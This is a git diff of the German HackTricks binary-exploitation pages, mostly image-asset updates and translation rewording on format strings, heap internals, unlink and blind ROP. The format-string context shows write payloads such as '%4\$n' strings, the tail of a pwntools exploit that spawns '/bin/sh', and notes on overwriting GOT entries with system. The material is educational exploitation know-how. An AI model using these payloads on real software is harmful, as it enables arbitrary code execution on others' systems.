diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index 0b96b38ef..e70bceed6 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index e70bceed6..d798d9edc 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png index d798d9edc..1ec78aebd 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png index 1ec78aebd..020fb69e2 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png index 020fb69e2..e3657baf3 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1).png index e3657baf3..f95e8e4d5 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1).png index f95e8e4d5..9dcb86f81 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1).png index 9dcb86f81..f3314db22 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1).png index f3314db22..7a07c3343 100644 Binary files a/.gitbook/assets/image (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1).png b/.gitbook/assets/image (1) (1).png index 7a07c3343..b40c8ed4a 100644 Binary files a/.gitbook/assets/image (1) (1).png and b/.gitbook/assets/image (1) (1).png differ diff --git a/.gitbook/assets/image (1).png b/.gitbook/assets/image (1).png index b40c8ed4a..977c3f327 100644 Binary files a/.gitbook/assets/image (1).png and b/.gitbook/assets/image (1).png differ diff --git a/.gitbook/assets/image (10) (1) (1) (1) (1).png b/.gitbook/assets/image (10) (1) (1) (1) (1).png new file mode 100644 index 000000000..00fb8b946 Binary files /dev/null and b/.gitbook/assets/image (10) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (10) (1) (1) (1).png b/.gitbook/assets/image (10) (1) (1) (1).png index 00fb8b946..210d7bd3f 100644 Binary files a/.gitbook/assets/image (10) (1) (1) (1).png and b/.gitbook/assets/image (10) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (10) (1) (1).png b/.gitbook/assets/image (10) (1) (1).png index 210d7bd3f..b50bbce21 100644 Binary files a/.gitbook/assets/image (10) (1) (1).png and b/.gitbook/assets/image (10) (1) (1).png differ diff --git a/.gitbook/assets/image (10) (1).png b/.gitbook/assets/image (10) (1).png index b50bbce21..967f978dc 100644 Binary files a/.gitbook/assets/image (10) (1).png and b/.gitbook/assets/image (10) (1).png differ diff --git a/.gitbook/assets/image (10).png b/.gitbook/assets/image (10).png index 967f978dc..5fa35d5f4 100644 Binary files a/.gitbook/assets/image (10).png and b/.gitbook/assets/image (10).png differ diff --git a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1).png index 68b506e08..82f1650c7 100644 Binary files a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (2) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (2) (1) (1) (1) (1) (1).png index 82f1650c7..176e28e26 100644 Binary files a/.gitbook/assets/image (2) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (2) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (2) (1) (1) (1) (1).png b/.gitbook/assets/image (2) (1) (1) (1) (1).png index 176e28e26..64296ef72 100644 Binary files a/.gitbook/assets/image (2) (1) (1) (1) (1).png and b/.gitbook/assets/image (2) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (2) (1) (1) (1).png b/.gitbook/assets/image (2) (1) (1) (1).png index 64296ef72..50038b5d5 100644 Binary files a/.gitbook/assets/image (2) (1) (1) (1).png and b/.gitbook/assets/image (2) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (2) (1) (1).png b/.gitbook/assets/image (2) (1) (1).png index 50038b5d5..9dcb86f81 100644 Binary files a/.gitbook/assets/image (2) (1) (1).png and b/.gitbook/assets/image (2) (1) (1).png differ diff --git a/.gitbook/assets/image (2) (1).png b/.gitbook/assets/image (2) (1).png index 9dcb86f81..5fa9a546e 100644 Binary files a/.gitbook/assets/image (2) (1).png and b/.gitbook/assets/image (2) (1).png differ diff --git a/.gitbook/assets/image (2).png b/.gitbook/assets/image (2).png index 5fa9a546e..ed89ddb73 100644 Binary files a/.gitbook/assets/image (2).png and b/.gitbook/assets/image (2).png differ diff --git a/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png index 78abb7891..f2f640d8c 100644 Binary files a/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (3) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (3) (1) (1) (1) (1) (1).png index f2f640d8c..17acb7d7e 100644 Binary files a/.gitbook/assets/image (3) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (3) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (3) (1) (1) (1) (1).png b/.gitbook/assets/image (3) (1) (1) (1) (1).png index 17acb7d7e..11b8e0e8c 100644 Binary files a/.gitbook/assets/image (3) (1) (1) (1) (1).png and b/.gitbook/assets/image (3) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (3) (1) (1) (1).png b/.gitbook/assets/image (3) (1) (1) (1).png index 11b8e0e8c..dffdfc131 100644 Binary files a/.gitbook/assets/image (3) (1) (1) (1).png and b/.gitbook/assets/image (3) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (3) (1) (1).png b/.gitbook/assets/image (3) (1) (1).png index dffdfc131..736d79e58 100644 Binary files a/.gitbook/assets/image (3) (1) (1).png and b/.gitbook/assets/image (3) (1) (1).png differ diff --git a/.gitbook/assets/image (3) (1).png b/.gitbook/assets/image (3) (1).png index 736d79e58..2a0aece08 100644 Binary files a/.gitbook/assets/image (3) (1).png and b/.gitbook/assets/image (3) (1).png differ diff --git a/.gitbook/assets/image (3).png b/.gitbook/assets/image (3).png index 2a0aece08..c28b6f1d6 100644 Binary files a/.gitbook/assets/image (3).png and b/.gitbook/assets/image (3).png differ diff --git a/.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1).png index bc4b76df1..ffd8adf04 100644 Binary files a/.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1).png index ffd8adf04..ee3722524 100644 Binary files a/.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (4) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (4) (1) (1) (1) (1) (1).png index ee3722524..92ceed745 100644 Binary files a/.gitbook/assets/image (4) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (4) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (4) (1) (1) (1) (1).png b/.gitbook/assets/image (4) (1) (1) (1) (1).png index 92ceed745..4c7c93f13 100644 Binary files a/.gitbook/assets/image (4) (1) (1) (1) (1).png and b/.gitbook/assets/image (4) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (4) (1) (1) (1).png b/.gitbook/assets/image (4) (1) (1) (1).png index 4c7c93f13..fc56a6956 100644 Binary files a/.gitbook/assets/image (4) (1) (1) (1).png and b/.gitbook/assets/image (4) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (4) (1) (1).png b/.gitbook/assets/image (4) (1) (1).png index fc56a6956..645f58c3e 100644 Binary files a/.gitbook/assets/image (4) (1) (1).png and b/.gitbook/assets/image (4) (1) (1).png differ diff --git a/.gitbook/assets/image (4) (1).png b/.gitbook/assets/image (4) (1).png index 645f58c3e..2ff839cf1 100644 Binary files a/.gitbook/assets/image (4) (1).png and b/.gitbook/assets/image (4) (1).png differ diff --git a/.gitbook/assets/image (4).png b/.gitbook/assets/image (4).png index 2ff839cf1..bf3f22e32 100644 Binary files a/.gitbook/assets/image (4).png and b/.gitbook/assets/image (4).png differ diff --git a/.gitbook/assets/image (5) (1) (1) (1) (1).png b/.gitbook/assets/image (5) (1) (1) (1) (1).png index b2c2c3d26..70413c7ff 100644 Binary files a/.gitbook/assets/image (5) (1) (1) (1) (1).png and b/.gitbook/assets/image (5) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (5) (1) (1) (1).png b/.gitbook/assets/image (5) (1) (1) (1).png index 70413c7ff..e7f03abf8 100644 Binary files a/.gitbook/assets/image (5) (1) (1) (1).png and b/.gitbook/assets/image (5) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (5) (1) (1).png b/.gitbook/assets/image (5) (1) (1).png index e7f03abf8..ec0ab0837 100644 Binary files a/.gitbook/assets/image (5) (1) (1).png and b/.gitbook/assets/image (5) (1) (1).png differ diff --git a/.gitbook/assets/image (5) (1).png b/.gitbook/assets/image (5) (1).png index ec0ab0837..35fb63c4e 100644 Binary files a/.gitbook/assets/image (5) (1).png and b/.gitbook/assets/image (5) (1).png differ diff --git a/.gitbook/assets/image (5).png b/.gitbook/assets/image (5).png index 35fb63c4e..4aa826f34 100644 Binary files a/.gitbook/assets/image (5).png and b/.gitbook/assets/image (5).png differ diff --git a/.gitbook/assets/image (6) (1) (1) (1) (1).png b/.gitbook/assets/image (6) (1) (1) (1) (1).png new file mode 100644 index 000000000..3646dc3f3 Binary files /dev/null and b/.gitbook/assets/image (6) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (6) (1) (1) (1).png b/.gitbook/assets/image (6) (1) (1) (1).png index 3646dc3f3..e5ab74cb8 100644 Binary files a/.gitbook/assets/image (6) (1) (1) (1).png and b/.gitbook/assets/image (6) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (6) (1) (1).png b/.gitbook/assets/image (6) (1) (1).png index e5ab74cb8..862b51b61 100644 Binary files a/.gitbook/assets/image (6) (1) (1).png and b/.gitbook/assets/image (6) (1) (1).png differ diff --git a/.gitbook/assets/image (6) (1).png b/.gitbook/assets/image (6) (1).png index 862b51b61..43f76e523 100644 Binary files a/.gitbook/assets/image (6) (1).png and b/.gitbook/assets/image (6) (1).png differ diff --git a/.gitbook/assets/image (6).png b/.gitbook/assets/image (6).png index 43f76e523..c8e4824db 100644 Binary files a/.gitbook/assets/image (6).png and b/.gitbook/assets/image (6).png differ diff --git a/.gitbook/assets/image (7) (1) (1) (1) (1).png b/.gitbook/assets/image (7) (1) (1) (1) (1).png index 7510b6e7e..13854046c 100644 Binary files a/.gitbook/assets/image (7) (1) (1) (1) (1).png and b/.gitbook/assets/image (7) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (7) (1) (1) (1).png b/.gitbook/assets/image (7) (1) (1) (1).png index 13854046c..511d74528 100644 Binary files a/.gitbook/assets/image (7) (1) (1) (1).png and b/.gitbook/assets/image (7) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (7) (1) (1).png b/.gitbook/assets/image (7) (1) (1).png index 511d74528..6b5ed45a3 100644 Binary files a/.gitbook/assets/image (7) (1) (1).png and b/.gitbook/assets/image (7) (1) (1).png differ diff --git a/.gitbook/assets/image (7) (1).png b/.gitbook/assets/image (7) (1).png index 6b5ed45a3..1ecf1f881 100644 Binary files a/.gitbook/assets/image (7) (1).png and b/.gitbook/assets/image (7) (1).png differ diff --git a/.gitbook/assets/image (7).png b/.gitbook/assets/image (7).png index 1ecf1f881..1a0d0a962 100644 Binary files a/.gitbook/assets/image (7).png and b/.gitbook/assets/image (7).png differ diff --git a/.gitbook/assets/image (8) (1) (1) (1) (1).png b/.gitbook/assets/image (8) (1) (1) (1) (1).png new file mode 100644 index 000000000..6c2c20ea1 Binary files /dev/null and b/.gitbook/assets/image (8) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (8) (1) (1) (1).png b/.gitbook/assets/image (8) (1) (1) (1).png index 6c2c20ea1..4464dc171 100644 Binary files a/.gitbook/assets/image (8) (1) (1) (1).png and b/.gitbook/assets/image (8) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (8) (1) (1).png b/.gitbook/assets/image (8) (1) (1).png index 4464dc171..f3c1e1e90 100644 Binary files a/.gitbook/assets/image (8) (1) (1).png and b/.gitbook/assets/image (8) (1) (1).png differ diff --git a/.gitbook/assets/image (8) (1).png b/.gitbook/assets/image (8) (1).png index f3c1e1e90..74e74b70b 100644 Binary files a/.gitbook/assets/image (8) (1).png and b/.gitbook/assets/image (8) (1).png differ diff --git a/.gitbook/assets/image (8).png b/.gitbook/assets/image (8).png index 74e74b70b..ae6e0de9a 100644 Binary files a/.gitbook/assets/image (8).png and b/.gitbook/assets/image (8).png differ diff --git a/.gitbook/assets/image (9) (1) (1) (1) (1).png b/.gitbook/assets/image (9) (1) (1) (1) (1).png new file mode 100644 index 000000000..2c0467343 Binary files /dev/null and b/.gitbook/assets/image (9) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (9) (1) (1) (1).png b/.gitbook/assets/image (9) (1) (1) (1).png index 2c0467343..a3d5f99f0 100644 Binary files a/.gitbook/assets/image (9) (1) (1) (1).png and b/.gitbook/assets/image (9) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (9) (1) (1).png b/.gitbook/assets/image (9) (1) (1).png index a3d5f99f0..3530fa487 100644 Binary files a/.gitbook/assets/image (9) (1) (1).png and b/.gitbook/assets/image (9) (1) (1).png differ diff --git a/.gitbook/assets/image (9) (1).png b/.gitbook/assets/image (9) (1).png index 3530fa487..b415d20a6 100644 Binary files a/.gitbook/assets/image (9) (1).png and b/.gitbook/assets/image (9) (1).png differ diff --git a/.gitbook/assets/image (9).png b/.gitbook/assets/image (9).png index b415d20a6..367b6e347 100644 Binary files a/.gitbook/assets/image (9).png and b/.gitbook/assets/image (9).png differ diff --git a/.gitbook/assets/image.png b/.gitbook/assets/image.png index 5fa35d5f4..0b2fb1ac2 100644 Binary files a/.gitbook/assets/image.png and b/.gitbook/assets/image.png differ diff --git a/binary-exploitation/format-strings/README.md b/binary-exploitation/format-strings/README.md index 5bd171fe1..0541403fb 100644 --- a/binary-exploitation/format-strings/README.md +++ b/binary-exploitation/format-strings/README.md @@ -1,8 +1,8 @@ # Format Strings {% hint style="success" %} -Lerne & übe AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Lerne & übe GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Lerne & übe AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Lerne & übe GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
@@ -10,23 +10,22 @@ Lerne & übe GCP Hacking: {% endhint %} -
+
Wenn du an einer **Hacking-Karriere** interessiert bist und das Unhackbare hacken möchtest - **wir stellen ein!** (_fließend Polnisch in Wort und Schrift erforderlich_). {% embed url="https://www.stmcyber.com/careers" %} - ## Grundinformationen -In C **`printf`** ist eine Funktion, die verwendet werden kann, um **einen** String **auszugeben**. Der **erste Parameter**, den diese Funktion erwartet, ist der **rohe Text mit den Formatierern**. Die **folgenden Parameter**, die erwartet werden, sind die **Werte**, um die **Formatierer** aus dem rohen Text zu **ersetzen**. +In C **`printf`** ist eine Funktion, die verwendet werden kann, um **einen String auszugeben**. Der **erste Parameter**, den diese Funktion erwartet, ist der **rohe Text mit den Formatierern**. Die **folgenden Parameter**, die erwartet werden, sind die **Werte**, um die **Formatierer** aus dem rohen Text zu **ersetzen**. -Andere verwundbare Funktionen sind **`sprintf()`** und **`fprintf()`**. +Andere anfällige Funktionen sind **`sprintf()`** und **`fprintf()`**. Die Verwundbarkeit tritt auf, wenn ein **Angreifertext als erstes Argument** an diese Funktion übergeben wird. Der Angreifer kann eine **spezielle Eingabe erstellen, die** die **printf-Format**-String-Funktionen ausnutzt, um **beliebige Daten an beliebiger Adresse (lesbar/schreibbar)** zu lesen und **zu schreiben**. Dadurch ist es möglich, **beliebigen Code auszuführen**. @@ -73,7 +72,7 @@ return 0; ``` ### **Zugriff auf Zeiger** -Das Format **`%$x`**, wobei `n` eine Zahl ist, ermöglicht es, printf anzuweisen, den n-ten Parameter (vom Stack) auszuwählen. Wenn Sie also den 4. Parameter vom Stack mit printf lesen möchten, könnten Sie Folgendes tun: +Das Format **`%$x`**, wobei `n` eine Zahl ist, ermöglicht es, printf anzuzeigen, dass der n-te Parameter (vom Stack) ausgewählt werden soll. Wenn Sie also den 4. Parameter vom Stack mit printf lesen möchten, könnten Sie Folgendes tun: ```c printf("%x %x %x %x") ``` @@ -112,7 +111,7 @@ Beachten Sie, dass Sie die Adresse 0x8048000 nicht am Anfang der Eingabe setzen ### Offset finden -Um den Offset zu Ihrer Eingabe zu finden, könnten Sie 4 oder 8 Bytes (`0x41414141`) gefolgt von **`%1$x`** senden und den Wert **erhöhen**, bis Sie die `A's` erhalten. +Um den Offset zu Ihrer Eingabe zu finden, könnten Sie 4 oder 8 Bytes (`0x41414141`) senden, gefolgt von **`%1$x`** und den Wert **erhöhen**, bis Sie die `A's` erhalten.
@@ -163,7 +162,7 @@ Glücklicherweise ist es nicht nötig, 9999 "A"s zur Eingabe hinzuzufügen, um d AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param AAAA.%500\$08x —> Param at offset 500 ``` -Allerdings ist zu beachten, dass normalerweise, um eine Adresse wie `0x08049724` (was eine RIESIGE Zahl ist, die man auf einmal schreiben muss) zu schreiben, **`$hn`** anstelle von **`$n`** verwendet wird. Dies ermöglicht es, **nur 2 Bytes** zu schreiben. Daher wird dieser Vorgang zweimal durchgeführt, einmal für die höchsten 2B der Adresse und ein weiteres Mal für die niedrigeren. +Allerdings ist zu beachten, dass normalerweise, um eine Adresse wie `0x08049724` (die eine RIESIGE Zahl ist, die man auf einmal schreiben muss) zu schreiben, **`$hn`** anstelle von **`$n`** verwendet wird. Dies ermöglicht es, **nur 2 Bytes** zu schreiben. Daher wird dieser Vorgang zweimal durchgeführt, einmal für die höchsten 2B der Adresse und ein weiteres Mal für die niedrigeren. Daher ermöglicht diese Schwachstelle, **alles an jede Adresse zu schreiben (willkürliches Schreiben).** @@ -222,7 +221,7 @@ p.sendline('/bin/sh') p.interactive() ``` -## Format-Strings zu BOF +## Format Strings zu BOF Es ist möglich, die Schreibaktionen einer Format-String-Sicherheitsanfälligkeit auszunutzen, um **in Adressen des Stacks zu schreiben** und eine **Buffer Overflow**-Art von Sicherheitsanfälligkeit auszunutzen. @@ -238,21 +237,19 @@ Es ist möglich, die Schreibaktionen einer Format-String-Sicherheitsanfälligkei * [https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html) * 32 Bit, relro, kein canary, nx, kein pie, Format-String, um eine Adresse innerhalb von main in `.fini_array` zu schreiben (damit der Fluss ein weiteres Mal zurückläuft) und die Adresse zu `system` in der GOT-Tabelle zu schreiben, die auf `strlen` zeigt. Wenn der Fluss zurück zu main geht, wird `strlen` mit Benutzereingaben ausgeführt und zeigt auf `system`, es werden die übergebenen Befehle ausgeführt. -
+
Wenn Sie an einer **Hacking-Karriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließend Polnisch in Wort und Schrift erforderlich_). {% embed url="https://www.stmcyber.com/careers" %} {% hint style="success" %} -Lernen & üben Sie AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Lernen & üben Sie GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Lernen & üben Sie AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Lernen & üben Sie GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) -Unterstützen Sie HackTricks +Unterstützen Sie HackTricks * Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)! * **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden. - -
{% endhint %} diff --git a/binary-exploitation/libc-heap/README.md b/binary-exploitation/libc-heap/README.md index 5c21c591a..3e08d0756 100644 --- a/binary-exploitation/libc-heap/README.md +++ b/binary-exploitation/libc-heap/README.md @@ -90,7 +90,7 @@ Es gibt einige interessante Dinge, die man aus dieser Struktur beachten sollte ( * Daher wird der **erste Chunk** dieser Bins einen **rückwärts gerichteten Zeiger auf diese Struktur** haben und der **letzte Chunk** dieser Bins wird einen **vorwärts gerichteten Zeiger** auf diese Struktur haben. Das bedeutet im Grunde, dass wenn du diese Adressen in der Hauptarena **leaken** kannst, du einen Zeiger auf die Struktur in der **libc** haben wirst. * Die Strukturen `struct malloc_state *next;` und `struct malloc_state *next_free;` sind verkettete Listen von Arenen * Der `top` Chunk ist der letzte "Chunk", der im Grunde **den gesamten verbleibenden Speicher des Heaps** darstellt. Sobald der Top-Chuck "leer" ist, ist der Heap vollständig genutzt und es muss mehr Speicher angefordert werden. -* Der `last reminder` Chunk stammt aus Fällen, in denen ein Chunk mit genau der Größe nicht verfügbar ist und daher ein größerer Chunk geteilt wird, ein Zeiger auf den verbleibenden Teil wird hier platziert. +* Der `letzte verbleibende` Chunk stammt aus Fällen, in denen ein Chunk in exakter Größe nicht verfügbar ist und daher ein größerer Chunk geteilt wird, ein Zeiger auf den verbleibenden Teil wird hier platziert. ```c // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1812 @@ -258,7 +258,7 @@ req = (req + (__MTAG_GRANULE_SIZE - 1)) & return request2size (req); } ``` -Beachten Sie, dass für die Berechnung des insgesamt benötigten Speicherplatzes `SIZE_SZ` nur einmal hinzugefügt wird, da das Feld `prev_size` verwendet werden kann, um Daten zu speichern. Daher ist nur der ursprüngliche Header erforderlich. +Beachten Sie, dass für die Berechnung des benötigten Gesamtraums `SIZE_SZ` nur einmal hinzugefügt wird, da das Feld `prev_size` verwendet werden kann, um Daten zu speichern. Daher ist nur der ursprüngliche Header erforderlich. ### Chunk-Daten abrufen und Metadaten ändern @@ -470,17 +470,17 @@ return 0; Beim Debuggen des vorherigen Beispiels ist es möglich zu sehen, dass zu Beginn nur 1 Arena vorhanden ist: -
+
Dann, nach dem Aufruf des ersten Threads, der malloc aufruft, wird eine neue Arena erstellt: -
+
und darin können einige Chunks gefunden werden: -
+
-## Bins & Speicherzuweisungen/-freigaben +## Bins & Speicherzuweisungen/Freigaben Überprüfen Sie, was die Bins sind und wie sie organisiert sind und wie Speicher zugewiesen und freigegeben wird in: @@ -490,7 +490,7 @@ und darin können einige Chunks gefunden werden: ## Sicherheitsprüfungen von Heap-Funktionen -Funktionen, die mit dem Heap zu tun haben, führen bestimmte Prüfungen durch, bevor sie ihre Aktionen ausführen, um sicherzustellen, dass der Heap nicht beschädigt wurde: +Funktionen, die im Heap beteiligt sind, führen bestimmte Prüfungen durch, bevor sie ihre Aktionen ausführen, um sicherzustellen, dass der Heap nicht beschädigt wurde: {% content-ref url="heap-memory-functions/heap-functions-security-checks.md" %} [heap-functions-security-checks.md](heap-memory-functions/heap-functions-security-checks.md) diff --git a/binary-exploitation/libc-heap/heap-memory-functions/unlink.md b/binary-exploitation/libc-heap/heap-memory-functions/unlink.md index fb6c692b8..0f8489e40 100644 --- a/binary-exploitation/libc-heap/heap-memory-functions/unlink.md +++ b/binary-exploitation/libc-heap/heap-memory-functions/unlink.md @@ -1,16 +1,16 @@ # unlink {% hint style="success" %} -Lernen & üben Sie AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Lernen & üben Sie GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Lerne & übe AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Lerne & übe GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Unterstützen Sie HackTricks +Unterstütze HackTricks -* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)! -* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden. +* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)! +* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
{% endhint %} @@ -67,7 +67,7 @@ p->bk_nextsize->fd_nextsize = p->fd_nextsize; Überprüfen Sie diese großartige grafische Erklärung des Unlink-Prozesses: -

https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png

+

https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png

### Sicherheitsprüfungen diff --git a/binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md b/binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md index 613260a99..ce88da502 100644 --- a/binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md +++ b/binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md @@ -41,7 +41,7 @@ Dieses Gadget ermöglicht es im Grunde, zu bestätigen, dass etwas Interessantes Diese Technik verwendet das [**ret2csu**](ret2csu.md) Gadget. Und das liegt daran, dass du, wenn du auf dieses Gadget in der Mitte einiger Anweisungen zugreifst, Gadgets erhältst, um **`rsi`** und **`rdi`** zu steuern: -

https://www.scs.stanford.edu/brop/bittau-brop.pdf

+

https://www.scs.stanford.edu/brop/bittau-brop.pdf

